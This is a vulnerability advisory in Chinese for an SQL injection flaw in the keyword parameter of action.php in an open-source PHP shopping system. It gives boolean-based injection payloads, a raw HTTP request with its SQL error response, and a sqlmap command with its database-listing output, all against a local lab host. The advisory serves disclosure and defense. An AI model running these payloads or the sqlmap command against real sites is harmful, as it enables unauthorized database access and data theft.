CVE-2025-51970

CVE-2025-51970 - 在线购物系统高级版中的SQL注入

摘要

在 PuneethReddyHC 的 Online Shopping System Advanced 项目中发现了一个严重的SQL注入漏洞。该漏洞存在于 action.php 中，未能正确清理来自 keyword POST参数的用户输入。攻击者可以注入恶意SQL以提取数据或篡改数据库。

技术细节

漏洞类型：SQL注入
受影响文件：action.php
参数：keyword（通过POST）
受影响版本：1.0
攻击类型：远程
影响：未经授权的数据访问、数据库操作

概念验证（PoC）

真值Payload（绕过逻辑）

e%' AND ((42)=(43-1)) AND '0004XX7'!='0004XX7%

假值Payload（逻辑失败）

e%' AND ((42)=(43)) AND '0004XX7'!='0004XX7%

HTTP请求

<Highlight language="http">
POST /online-shopping-system-advanced-master/action.php HTTP/1.1
Host: 192.168.1.109
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Referer: http://192.168.1.109/online-shopping-system-advanced-master/
Content-Length: 75
Connection: close
keyword=test'&search=1
</Highlight>

HTTP响应

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 10:07:50 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near ''' at line 1 in 
C:\xampp\htdocs\online-shopping-system-advanced-master\action.php:193

数据库指纹示例

SELECT database(); -- 返回 `onlineshop`

e%' AND 2*3*8=6*8 AND '0004XX7'!='0004XX7%
e%' AND 3*2>5 AND '0004XX7'!='0004XX7%
e%' AND 3*2*0>=0 AND '0004XX7'!='0004XX7%

使用sqlmap自动利用

该漏洞可使用 sqlmap 自动确认和利用。

使用的命令

sqlmap -u "http://192.168.1.109/action.php" --data="keyword=test&search=1" --dbs

输出

[13:07:39] [INFO] 正在获取数据库名称
可用数据库 [6]:
[*] information_schema
[*] mysql
[*] onlineshop
[*] performance_schema
[*] phpmyadmin
[*] test

CVE-2025-51970

最受欢迎

CVE-2025-51970

摘要

技术细节

概念验证（PoC）

真值Payload（绕过逻辑）

假值Payload（逻辑失败）

HTTP请求

HTTP响应

数据库指纹示例

使用sqlmap自动利用

使用的命令

输出